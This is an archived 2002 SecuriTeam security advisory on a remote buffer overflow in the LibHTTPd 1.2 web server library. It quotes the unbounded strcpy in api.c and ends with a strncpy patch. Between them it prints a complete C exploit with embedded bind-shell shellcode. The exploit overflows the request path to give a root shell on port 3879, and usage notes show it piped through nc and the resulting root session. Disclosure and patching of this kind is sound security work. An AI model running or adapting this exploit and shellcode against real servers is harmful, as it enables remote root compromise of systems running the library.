[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd

From: support@securiteam.com
Date: 11/17/02

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Date: 17 Nov 2002 21:43:49 +0200

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      Remote Buffer Overflow Vulnerability in LibHTTPd
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hughes.com.au/products/libhttpd/> LibHTTPD can be used to add
    basic web server capabilities to an application or embedded device. A
    vulnerability in the product allows remote attackers to cause the server
    to crash and execute arbitrary code.

    DETAILS

    Vulnerable packages:
     * LibHTTPd version 1.2

    Vulnerable code:
    If examine 'api.c' of library libhttpd.a source code, you can find the
    vulnerability. As you can see httpdProcessRequest() in line:860

       __
       860 void httpdProcessRequest(server)
       861 httpd *server;
       862 {
       863 char dirName[HTTP_MAX_URL],
            ...
       869 server->response.responseLength = 0;
       870 strcpy(dirName, httpdRequestPath(server)); // here.
       --

    Exploit:
     === 0x82-Remote.libhttpdxpl.c ===
    /*
    **
    ** Lib HTTPd Remote Buffer Overflow exploit
    ** by Xpl017Elz
    ** __
    ** Testing exploit:
    **
    ** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
    **
    ** (Ctrl+c)
    ** punt!
    ** bash$ nc libhttphost 3879
    ** uname
    ** Linux
    ** id
    ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
    ** 3(sys),4(adm),6(disk),10(wheel)
    ** exit
    ** bash$
    **
    ** --
    ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
    ** My World: http://x82.i21c.net
    **
    */

    #include <stdio.h>
    int main(/* args? */)
    {
        int shadd2r;
        char b1ndsh[] = /* 129byte bindshellcode */
    "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
    "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
        
    "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
    "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
    "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
    "\377\377/bin/sh";
        //--- POST &shellcode ---//
        fprintf(stdout,"POST ");
        for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
        {/* rEDhAT Default: 0x804e482,
    Debian Address? */
    fprintf(stdout,"\202\344\004\b");
        }
        fprintf(stdout,"\r\n");
        //--- NOP,shellcode ---//
        for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
        {/* SSSSSSSS...SSSSSSSSS;;; */
    fprintf(stdout,"S");
        }
        fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
    }

    Patch:
     === api.patch ===

    --- api.c Sat Nov 9 20:06:30 2002
    +++ api.patch.c Sat Nov 9 20:05:33 2002
    @@ -867,7 +867,7 @@
    httpContent *entry;
     
    server->response.responseLength = 0;
    - strcpy(dirName, httpdRequestPath(server));
    + strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
    cp = rindex(dirName, '/');
    if (cp == NULL)
    {

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:xploit@hackermail.com>
    dong-h0un U.

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